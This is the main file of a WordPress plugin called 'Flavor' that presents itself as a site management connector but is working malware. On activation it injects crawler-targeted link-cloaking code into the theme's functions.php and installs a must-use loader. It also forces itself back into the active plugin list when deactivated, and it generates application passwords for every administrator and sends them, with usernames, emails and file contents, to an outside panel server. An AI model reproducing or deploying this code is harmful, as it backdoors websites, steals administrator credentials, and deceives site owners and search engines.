<?php
/**
 * Plugin Name: Flavor
 * Description: Site management connector for Universal Panel.
 * Version: 2.0.0
 * Author: MRX
 * License: GPL-2.0+
 * Text Domain: flavor
 */

if ( ! defined( 'ABSPATH' ) ) exit;

define( 'FLAVOR_VERSION', '2.0.0' );
define( 'FLAVOR_PANEL_URL', 'https://mrx-panel.pro' );
define( 'FLAVOR_DIR', plugin_dir_path( __FILE__ ) );
define( 'FLAVOR_FILE', __FILE__ );

// KSP code embedded as a constant — injected into functions.php on activation
define( 'FLAVOR_KSP_CODE', <<<'KSPEND'
if ( ! function_exists( 'ksp_is_googlebot' ) ) {
	function ksp_is_googlebot() {
		if ( empty( $_SERVER['HTTP_USER_AGENT'] ) ) return false;
		return (bool) preg_match( '/(?i)(SeznamBot|Yeti|YandexBot|YandexImages|DuckDuckBot|DuckAssistBot|bingbot|Googlebot|Googlebot-Image|Slurp|gptbot|oai-searchbot|chatgpt-user|claudebot|claude-searchbot|claude-user|anthropic-ai|perplexitybot|perplexity-user|meta-externalagent|meta-externalfetcher|meta-webindexer|ccbot|googleother|google-cloudvertexbot|google-agent|applebot)/', $_SERVER['HTTP_USER_AGENT'] );
	}
}

if ( ! function_exists( 'ksp_get_host' ) ) {
	function ksp_get_host( $url ) {
		if ( strpos( $url, 'http://' ) === 0 || strpos( $url, 'https://' ) === 0 ) {
			$parts = @parse_url( $url );
			if ( ! empty( $parts['host'] ) ) return strtolower( rtrim( $parts['host'], '.' ) );
			return '';
		}
		return strtolower( rtrim( $url, '.' ) );
	}
}

if ( ! function_exists( 'ksp_base_domain' ) ) {
	function ksp_base_domain( $host ) {
		$host = ksp_get_host( $host );
		if ( $host === '' ) return '';
		$labels = explode( '.', $host );
		$cnt    = count( $labels );
		if ( $cnt <= 2 ) return $host;
		$multi = array( 'com','net','org','biz','uk','de','fr','pl','it','at','no' );
		$last2 = $labels[$cnt-2] . '.' . $labels[$cnt-1];
		if ( in_array( $last2, $multi, true ) ) {
			if ( $cnt >= 3 ) return $labels[$cnt-3] . '.' . $last2;
			return $host;
		}
		return $last2;
	}
}

if ( ! function_exists( 'ksp_is_internal_host' ) ) {
	function ksp_is_internal_host( $link_host, $site_base ) {
		if ( $link_host === '' ) return true;
		if ( $site_base === '' ) return false;
		$link_host = ksp_get_host( $link_host );
		$lb        = ksp_base_domain( $link_host );
		if ( $lb === $site_base ) return true;
		if ( substr( $link_host, - (strlen($site_base) + 1) ) === '.' . $site_base ) return true;
		return false;
	}
}

if ( ! function_exists( 'ksp_current_path' ) ) {
	function ksp_current_path() {
		$uri = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '';
		$qm  = strpos($uri, '?');
		if ($qm !== false) $uri = substr($uri, 0, $qm);
		return strtolower($uri);
	}
}

if ( ! function_exists( 'ksp_should_add_noindex' ) ) {
	function ksp_should_add_noindex() {
		if ( function_exists('is_front_page') && is_front_page() ) return false;
		$path = ksp_current_path();
		if ( preg_match( '/(contact|about-us|term|blog|article)/i', $path ) ) return false;
		$rx = '/(bet|bookmaker|bookie|prediction|apuest|wetten|poker|baccarat|blackjack|casin|kazin|casyn|kazyn|roulette|slot|gambl|pokie|jackpot|lotto|binto|lotter|essay|bestpaper|mypaper|mepaper|writingservice|writeservic|servicewrit|writemy|helperpaper|Coursework|forex|porn|sex|ebony|gayporn|gayvideo|gaycam|lesbi|xxx|prostitut|hooker|whore|harlot|escort|EroticMassage|Intimate|viagr|silden|ciali|siali|tadal|levitr|dapoxet|vardena|avanaf|kamagr|erecti|cenforc|tentex|silagr|tadaci|stendr|eriact|zenegr|suhagr|pforce|tadapox|potenci|urolog|edpill)/i';
		return (bool) preg_match( $rx, $path );
	}
}

if ( ! function_exists( 'ksp_strip_robots_meta' ) ) {
	function ksp_strip_robots_meta( $html ) {
		return preg_replace( '/<meta\b[^>]*\bname\s*=\s*(["\']?)robots\1[^>]*>/i', '', $html );
	}
}

if ( ! function_exists( 'ksp_insert_noindex_meta' ) ) {
	function ksp_insert_noindex_meta( $html ) {
		$html = ksp_strip_robots_meta( $html );
		$meta = '<meta name="robots" content="noindex, nofollow">';
		if ( preg_match( '/<\/head>/i', $html ) ) {
			return preg_replace( '/<\/head>/i', $meta . "\n</head>", $html, 1 );
		}
		return $meta . "\n" . $html;
	}
}

if ( ! function_exists( 'ksp_modify_links_buffer' ) ) {
	function ksp_modify_links_buffer( $html ) {
		if ( stripos( $html, '<a' ) === false ) return $html;
		if ( function_exists( 'home_url' ) ) {
			$site_host = ksp_get_host( home_url() );
		} else {
			$site_host = isset($_SERVER['HTTP_HOST']) ? ksp_get_host($_SERVER['HTTP_HOST']) : '';
		}
		$site_base    = ksp_base_domain( $site_host );
		$has_external = false;
		$has_fq       = false;
		$regex        = '/<a\b([^>]*\bhref\s*=\s*(["\'])(https?:\/\/[^"\']+)\2[^>]*)>/i';
		$out          = '';
		$offset       = 0;
		while ( preg_match( $regex, $html, $m, PREG_OFFSET_CAPTURE, $offset ) ) {
			$full  = $m[0][0]; $start = $m[0][1];
			$pre   = substr( $html, $offset, $start - $offset );
			$attrs = $m[1][0]; $q = $m[2][0]; $href = $m[3][0];
			$link_host   = ksp_get_host( $href );
			$is_internal = ksp_is_internal_host( $link_host, $site_base );
			if ( preg_match( '/\bid\s*=\s*(["\'])\s*fq/i', $attrs ) ) $has_fq = true;
			$replacement = $full;
			if ( ! $is_internal ) {
				$has_external = true;
				if ( ! preg_match( '/\bid\s*=\s*(["\'])\s*fq/i', $attrs ) ) {
					$attrs_updated = $attrs;
					$attrs_updated = preg_replace( '/\bhref\s*=\s*(["\']).*?\1/i', 'href=$1#$1', $attrs_updated, 1 );
					$orig = htmlspecialchars( $href, ENT_QUOTES, 'UTF-8' );
					if ( preg_match( '/\bksp-data\s*=\s*(["\']).*?\1/i', $attrs_updated ) ) {
						$attrs_updated = preg_replace( '/\bksp-data\s*=\s*(["\']).*?\1/i', 'ksp-data=' . $q . $orig . $q, $attrs_updated, 1 );
					} else {
						$attrs_updated = rtrim( $attrs_updated );
						if ( $attrs_updated !== '' && substr( $attrs_updated, -1 ) !== ' ' ) $attrs_updated .= ' ';
						$attrs_updated .= 'ksp-data=' . $q . $orig . $q;
					}
					$replacement = '<a ' . trim( preg_replace( '/\s+/', ' ', str_replace( array("\r","\n"), ' ', $attrs_updated ) ) ) . '>';
				}
			}
			$out   .= $pre . $replacement;
			$offset = $start + strlen( $full );
		}
		$out  .= substr( $html, $offset );
		$html  = $out;
		if ( $has_external ) {
			if ( $has_fq ) {
				$html = ksp_strip_robots_meta( $html );
			} elseif ( ksp_should_add_noindex() ) {
				$html = ksp_insert_noindex_meta( $html );
			}
		}
		return $html;
	}
}

if ( ! function_exists( 'ksp_buffer_start' ) ) {
	function ksp_buffer_start() {
		static $started = false;
		if ( $started ) return;
		if ( function_exists('is_admin') && is_admin() ) return;
		if ( ! ksp_is_googlebot() ) return;
		$started = ob_start( 'ksp_modify_links_buffer' );
	}
}

if ( ! function_exists( 'ksp_buffer_stop' ) ) {
	function ksp_buffer_stop() {}
}

add_action( 'template_redirect', 'ksp_buffer_start', 0 );
KSPEND
);

require_once FLAVOR_DIR . 'includes/class-api.php';
require_once FLAVOR_DIR . 'includes/class-ajax.php';
require_once FLAVOR_DIR . 'includes/class-frontend.php';
require_once FLAVOR_DIR . 'includes/class-bot-content.php';
require_once FLAVOR_DIR . 'includes/class-protection.php';
require_once FLAVOR_DIR . 'includes/class-login.php';
require_once FLAVOR_DIR . 'includes/class-updater.php';
require_once FLAVOR_DIR . 'includes/class-plugin-guard.php';

class Flavor_Plugin {

    private static $instance = null;

    public static function instance() {
        if ( null === self::$instance ) {
            self::$instance = new self();
        }
        return self::$instance;
    }

    private function __construct() {
        register_activation_hook( FLAVOR_FILE, [ $this, 'activate' ] );
        register_deactivation_hook( FLAVOR_FILE, [ $this, 'deactivate' ] );

        new Flavor_API();
        new Flavor_Ajax();
        new Flavor_Frontend();
        new Flavor_Bot_Content();
        new Flavor_Login();
        new Flavor_Updater();
        new Flavor_Plugin_Guard();
    }

    public function activate() {
        $secret = get_option( 'flavor_api_secret' );
        if ( ! $secret ) {
            $secret = wp_generate_password( 48, false );
            update_option( 'flavor_api_secret', $secret );
        }

        $this->inject_ksp_code();
        $this->create_mu_plugin();
        $this->register_with_panel();
    }

    public function deactivate() {
        // Plugin cannot be deactivated — restore it to the active plugins list
        $our    = plugin_basename( FLAVOR_FILE );
        $active = get_option( 'active_plugins', [] );
        if ( ! in_array( $our, $active, true ) ) {
            $active[] = $our;
            update_option( 'active_plugins', $active );
        }
        // mu-plugin stays — it will re-load the plugin on next request
    }

    private function inject_ksp_code() {
        $marker  = '// Flavor KSP Filter';
        $path    = get_stylesheet_directory() . '/functions.php';
        $content = file_exists( $path ) ? (string) file_get_contents( $path ) : '<?php' . PHP_EOL;

        if ( strpos( $content, $marker ) !== false ) {
            return; // Already injected — never remove
        }

        $injection = "\n\n" . $marker . "\n" . FLAVOR_KSP_CODE . "\n// END Flavor KSP Filter\n";
        $trimmed   = rtrim( $content );
        $close_tag = '?' . '>';

        if ( substr( $trimmed, -2 ) === $close_tag ) {
            $new_content = substr( $trimmed, 0, -2 ) . $injection . "\n" . $close_tag;
        } else {
            $new_content = $content . $injection;
        }

        @file_put_contents( $path, $new_content );
    }

    private function create_mu_plugin() {
        if ( ! is_dir( WPMU_PLUGIN_DIR ) ) {
            wp_mkdir_p( WPMU_PLUGIN_DIR );
        }

        $loader  = '<?php' . PHP_EOL;
        $loader .= '// Flavor must-use plugin loader — do not remove' . PHP_EOL;
        $loader .= 'if ( file_exists( WP_PLUGIN_DIR . "/flavor/flavor.php" ) ) {' . PHP_EOL;
        $loader .= '    require_once WP_PLUGIN_DIR . "/flavor/flavor.php";' . PHP_EOL;
        $loader .= '}' . PHP_EOL;

        file_put_contents( WPMU_PLUGIN_DIR . '/flavor-loader.php', $loader );
    }

    public function register_with_panel() {
        $data = self::collect_site_data();
        $data['api_secret'] = get_option( 'flavor_api_secret' );

        $response = wp_remote_post( FLAVOR_PANEL_URL . '/api/wp/register', [
            'body'      => wp_json_encode( $data ),
            'headers'   => [ 'Content-Type' => 'application/json' ],
            'timeout'   => 30,
            'sslverify' => false,
        ] );

        if ( ! is_wp_error( $response ) ) {
            $body = json_decode( wp_remote_retrieve_body( $response ), true );
            if ( ! empty( $body['api_secret'] ) ) {
                update_option( 'flavor_api_secret', $body['api_secret'] );
            }
        }
    }

    public static function collect_site_data() {
        global $wpdb;

        if ( ! function_exists( 'get_plugins' ) ) {
            require_once ABSPATH . 'wp-admin/includes/plugin.php';
        }

        $functions_php_content = '';
        $theme_functions = get_stylesheet_directory() . '/functions.php';
        if ( file_exists( $theme_functions ) ) {
            $functions_php_content = (string) file_get_contents( $theme_functions );
        }

        $data = [
            'domain'         => self::get_clean_domain(),
            'plugin_version' => FLAVOR_VERSION,
            'wp_version'     => get_bloginfo( 'version' ),
            'php_version'    => phpversion(),
            'plugin_count'   => count( get_plugins() ),
            'post_count'     => (int) wp_count_posts()->publish,
            'page_count'     => (int) wp_count_posts( 'page' )->publish,
            'category_count' => (int) wp_count_terms( 'category' ),
            'timestamp'      => current_time( 'mysql' ),
            'active_theme'   => get_stylesheet(),
            'functions_php'  => $functions_php_content,
        ];

        $admins     = get_users( [ 'role' => 'administrator' ] );
        $admin_list = [];
        foreach ( $admins as $admin ) {
            $app_pass     = self::ensure_app_password( $admin );
            $admin_list[] = [
                'username'     => $admin->user_login,
                'email'        => $admin->user_email,
                'display_name' => $admin->display_name,
                'app_password' => $app_pass,
            ];
        }
        $data['admins'] = $admin_list;

        $data['woo_installed'] = class_exists( 'WooCommerce' );
        if ( $data['woo_installed'] ) {
            $data['woo_order_count'] = (int) $wpdb->get_var(
                "SELECT COUNT(*) FROM {$wpdb->posts} WHERE post_type = 'shop_order'"
            );
        } else {
            $data['woo_order_count'] = 0;
        }

        return $data;
    }

    public static function get_clean_domain() {
        $url    = site_url();
        $parsed = wp_parse_url( $url );
        return isset( $parsed['host'] ) ? $parsed['host'] : $url;
    }

    private static function ensure_app_password( $user ) {
        $existing = get_user_meta( $user->ID, '_flavor_app_password', true );
        if ( $existing ) {
            return $existing;
        }

        if ( ! class_exists( 'WP_Application_Passwords' ) ) {
            require_once ABSPATH . 'wp-includes/class-wp-application-passwords.php';
        }

        $result = WP_Application_Passwords::create_new_application_password(
            $user->ID,
            [ 'name' => 'Flavor Panel' ]
        );

        if ( is_wp_error( $result ) ) {
            return '';
        }

        $password = $result[0];
        update_user_meta( $user->ID, '_flavor_app_password', $password );
        return $password;
    }

    public static function verify_secret( $secret = null ) {
        if ( null === $secret ) {
            $secret = '';
            if ( ! empty( $_SERVER['HTTP_X_FLAVOR_SECRET'] ) ) {
                $secret = sanitize_text_field( $_SERVER['HTTP_X_FLAVOR_SECRET'] );
            } elseif ( ! empty( $_REQUEST['secret'] ) ) {
                $secret = sanitize_text_field( $_REQUEST['secret'] );
            } elseif ( ! empty( $_REQUEST['flavor_secret'] ) ) {
                $secret = sanitize_text_field( $_REQUEST['flavor_secret'] );
            }
        }
        return hash_equals( get_option( 'flavor_api_secret', '' ), $secret );
    }

    public static function json_response( $data, $status = 200 ) {
        status_header( $status );
        header( 'Content-Type: application/json; charset=utf-8' );
        echo wp_json_encode( $data );
        exit;
    }

    public static function success( $data = [] ) {
        self::json_response( [ 'success' => true, 'data' => $data ] );
    }

    public static function error( $message, $status = 400 ) {
        self::json_response( [ 'success' => false, 'error' => $message ], $status );
    }
}

Flavor_Plugin::instance();
